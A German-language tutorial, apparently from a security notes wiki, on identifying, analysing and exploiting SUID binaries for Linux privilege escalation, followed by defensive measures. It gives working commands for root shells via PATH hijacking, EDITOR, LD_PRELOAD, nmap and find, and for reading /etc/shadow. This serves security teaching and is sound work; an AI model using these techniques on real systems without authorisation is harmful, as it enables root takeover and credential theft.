SUID-Binaries Exploitation

SUID-Binaries zur Privilege Escalation

Diese Seite beschreibt, wie SUID-Binaries zur Privilege Escalation in Unix/Linux-Systemen verwendet werden können. Es wird erläutert, wie man sie identifiziert, analysiert und mögliche Exploits entwickelt. Ziel ist ein grundlegendes Verständnis der Sicherheitsimplikationen und der praktischen Ausnutzung.

Hinweis: Dieser Artikel konzentriert sich auf generische Methoden und ist nicht an ein spezifisches CTF oder System gebunden.

Grundlagen

Was sind SUID-Binaries?

Ein SUID-Binary (Set-User-ID) ist eine ausführbare Datei mit einem speziellen Berechtigungsbit. Wenn dieses Bit gesetzt ist, wird das Programm mit den Rechten des Datei-Eigentümers (häufig root) ausgeführt, unabhängig davon, welcher Benutzer es startet.

ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54256 Jan 1 00:00 /usr/bin/passwd  # Das "s" im Besitzerbereich zeigt SUID an

Warum sind SUID-Binaries sicherheitsrelevant?

Ein falsch konfiguriertes oder unsicher programmiertes SUID-Binary kann es einem lokalen Angreifer ermöglichen, höhere Rechte zu erlangen – typischerweise root. Typische Schwachstellen sind:

  • Aufrufe von Shell-Kommandos ohne absolute Pfade

  • Nutzung von Umgebungsvariablen (z. B. EDITOR, PAGER)

  • Unsichere Funktionsaufrufe wie system() oder popen()

Voraussetzungen für eine Ausnutzung

  • Lokaler Zugriff mit eingeschränkten Benutzerrechten

  • Ausführbare SUID-Binary (z. B. über Gruppenrechte)

  • Angriffsfläche wie nicht-absolute Pfadangaben oder kontrollierbare Umgebungsvariablen

  • Schreibrechte auf ein Verzeichnis wie /tmp

Auffinden von SUID-Binaries

Alle SUID-Binaries mit Root als Besitzer finden:

find / -perm -4000 -user root -type f 2>/dev/null
# Zeigt alle SUID-Binaries, die root gehören
    /usr/bin/passwd
    /usr/bin/sudo
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Nach gruppenspezifischen Binaries suchen:

id
# Liefert aktuelle Gruppeninformationen
    uid=1000(user) gid=1000(user) Gruppen=1000(user),27(sudo)

find / -group <deineGruppe> -perm -4000 -type f 2>/dev/null

Rechte und Dateityp prüfen:

ls -la /pfad/zur/binary
    -rwsr-xr-x 1 root root 54256 Jan 1 00:00 /usr/bin/passwd

file /pfad/zur/binary
    /usr/bin/passwd: setuid ELF 64-bit LSB executable, x86-64, dynamically linked...

Analyse von SUID-Binaries

Eine gründliche Analyse hilft dabei zu verstehen, ob und wie eine SUID-Binary ausnutzbar ist. Dabei geht es um folgende Aspekte:

1. Verhalten beim Start

Führe die Binary direkt aus:

./binaryname

Beobachte die Eingaben, Ausgaben und mögliche Fehlermeldungen. Diese geben Hinweise auf:

  • erwartete Benutzerinteraktion

  • genutzte interne Tools

  • potentielle Dateizugriffe

2. Strings und Abhängigkeiten

strings ./binaryname | less

Suche nach:

  • eingebetteten Pfaden (z. B. /bin/sh, cat, cp)

  • verdächtigen Funktionen (system, exec, popen)

ldd ./binaryname

Zeigt dynamisch gelinkte Bibliotheken – wichtig für LD_PRELOAD-Angriffe.

3. Laufzeitanalyse

strace ./binaryname

Verfolgt alle Systemaufrufe (Dateizugriffe, Prozesse). Suchmuster:

  • open("/etc/passwd", ...)

  • execve("cat", ...)

ltrace ./binaryname

Zeigt aufgerufene Bibliotheksfunktionen. Besonders nützlich zur Identifikation von system() oder getenv()-Aufrufen.

4. Statische Analyse

Nutze Disassembler wie Ghidra, IDA oder Radare2, um tiefer in den Code zu schauen. Achte besonders auf:

  • Benutzerinput ohne Validierung

  • Zugriff auf Umgebungsvariablen

  • systemnahe Funktionen mit externem Einfluss

Tipp: Auch einfache grep-Suchen im Sourcecode oder Binärdump helfen, Schwachstellen schnell zu identifizieren:

grep system binarydump

Typische Exploitation-Techniken

PATH-Manipulation

Wenn die Binary interne Kommandos ohne absoluten Pfad nutzt z.B. cat, kann dies als datei erstellt werden mit der, falls diese ausgeführt wiedr, weiderum eine root shell öffnet. Dafür muss der Pfad in der die neue Datei ist zu den PATH hinzugefügt werden, damit dieses "cat" zuerst ausgeführt wird.

echo "/bin/sh" > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
which cat  # Prüfen, ob /tmp/cat zuerst gefunden wird
./suid-binary  # Falls intern "cat" genutzt wird: Root-Shell

Umgebungsvariablen (z. B. EDITOR, PAGER)

EDITOR=/bin/sh suedit
# Wenn das Programm EDITOR verwendet, wird /bin/sh geöffnet

LD_PRELOAD

gcc -shared -o shell.so -fPIC shell.c
LD_PRELOAD=./shell.so ./suid-binary
# Funktioniert nur, wenn Umgebungsvariablen nicht bereinigt werden

Interpreter und interaktive Modi

Programme mit interaktivem Modus:

nmap --interactive
> !sh  # Öffnet eine Shell

Auch möglich mit: python, perl, lua

Dateizugriff

Wenn das SUID-Programm Dateien mit Root-Rechten liest oder schreibt:

cp /etc/shadow /tmp/shadow_copy
# Ermöglicht Zugriff auf sensible Daten

Beispiele aus der Praxis

  • bugtracker – verwendet PATH-Manipulation

  • find – mit -exec /bin/sh \;

  • vim, less, nano – interaktive Shell mit :!sh oder !sh

Wann ist eine SUID-Binary nicht ausnutzbar?

  • Absolute Pfadangaben für alle internen Kommandos

  • Bereinigung sicherheitsrelevanter Umgebungsvariablen

  • Kein Benutzereingriff (rein automatisierte Prozesse)

  • Keine riskanten Funktionsaufrufe (z. B. kein system())

Verteidigungsmaßnahmen

  • Keine unnötigen SUID-Binaries bereitstellen

  • SUID-Binaries mit secure_path in sudoers absichern

  • Verwendung sicherer Funktionen und absolute Pfade im Code

  • Regelmäßige Audits und Einsatz von Tools wie Lynis, Chkrootkit

Weiterführende Ressourcen

  • GTFOBins – Liste ausnutzbarer Binaries

  • man 2 setuid – Systemaufruf-Dokumentation

  • Linux-Dateirechte und Berechtigungskonzepte (z. B. chmod, chown)

Last updated